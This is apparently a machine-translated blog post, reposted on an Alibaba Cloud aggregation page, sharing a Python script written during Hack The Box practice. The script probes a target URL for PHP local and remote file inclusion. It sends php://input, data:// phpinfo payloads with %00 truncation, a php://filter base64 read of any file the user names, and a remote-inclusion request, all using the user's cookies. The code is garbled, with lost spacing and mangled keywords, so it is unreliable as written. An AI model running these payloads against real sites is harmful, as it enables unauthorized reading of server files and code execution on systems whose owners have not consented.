Python build file contains vulnerability detection Tool

Source: Internet
Author: User
Tags base64 phpinfo

0x00 Preface:

Do hack the box question. It feels like the platform has a VIP.

Otherwise it'll be cool. Can only be reset once a day ... Mmp

The poison is a file containing the problem of the vulnerability, involving a tool

Look good on the development of a.

0x01 Code:

ImportRequestsImportThreadingImportOSImport TimeImportsyscookies={}urls=input ('Please enter the target:') User=input ('Enter The file want to read:') User2=input ('Enter your cookie:') forLieinchUser2.split (';'): Key,value=lie.split ('=', 1) Cookies[key]=Valuepayload='Php://input'payload2='data:text/plain,<?php phpinfo ();? >%00'payload2s='data:text/plain,<?php phpinfo ();? >'payload3='php://filter/read=convert.base64-encode/resource={}'. Format (user) Error=['404','Not Found','Warning','does not exist','I can't find them .','Firewall','Safe Dog','Cloud Lock']defexploitone (user): Headers={'user-agent':'mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoobrowser;. NET CLR 1.1.4322;. NET CLR 2.0.50727)'} URL=User Pocone=url+Payload Poctwo=url+payload2 Pocsan=url+payload3 POCSI=url+PAYLOAD2S Request=requests.get (url=pocone,headers=headers,cookies=cookies) Request2=requests.get (url=poctwo,headers=headers,cookies=cookies) Request3=requests.get (url=pocsan,headers=headers,cookies=cookies) Request4=requests.get (url=pocsi,headers=headers,cookies=cookies) OK=[]     forEinchError:ifrequest.status_code==200:            ifEinchStr (request.text):Print('[-]php://input protocol does not support')            Else: Ok.append ('[+]support php://input protocol poc:{}'. Format (request.url))ifrequest2.status_code==200:            ifEinchStr (request2.text):Print('[-]data://protocol that does not support%00 truncation')            Else: Ok.append ('[+]data://protocol that supports%00 truncation poc2:{}'. Format (request2.url))ifrequest3.status_code==200:            ifEinchStr (request3.text):Print('[-]do not support the use of php://filter/read=convert.base64-encode/resource=')            Else: Ok.append ('[+]support php://filter/read=convert.base64-encode/resource= poc3:{}'. Format (request3.url))ifrequest4.status_code==200:            ifEinchStr (request4.text):Print('[-]data://protocol does not support')            Else: Ok.append ('[+]support with data://protocol poc4:{}'. Format (request4.url))ifLen (OK) >0:v=List (set (OK)) forvvinchV:Print(VV) Exploitone (Urls.rstrip ())defexploittwo (): PoC='http://www.baidu.com'URL=urls.rstrip () +POC Headers={'user-agent':'mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoobrowser;. NET CLR 1.1.4322;. NET CLR 2.0.50727)'} request2=requests.get (url=url,headers=headers,cookies=cookies) Yuan=[]     forEinchError:ifrequest2.status_code==200:            ifEinchStr (request2.text):Print('[-]remote Inclusion failure')            Else: Yuan.append ('[+]allow remote inclusion poc:{}'. Format (request2.url))ifLen (Yuan) >0:s=List (set (yuan)) forBinchS:Print(b) exploittwo ()

Test:

Ideas:

Detect a variety of protocols before testing remote containment vulnerabilities

There was a detection path, but it was too slow to run.

Python build file contains vulnerability detection Tool

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.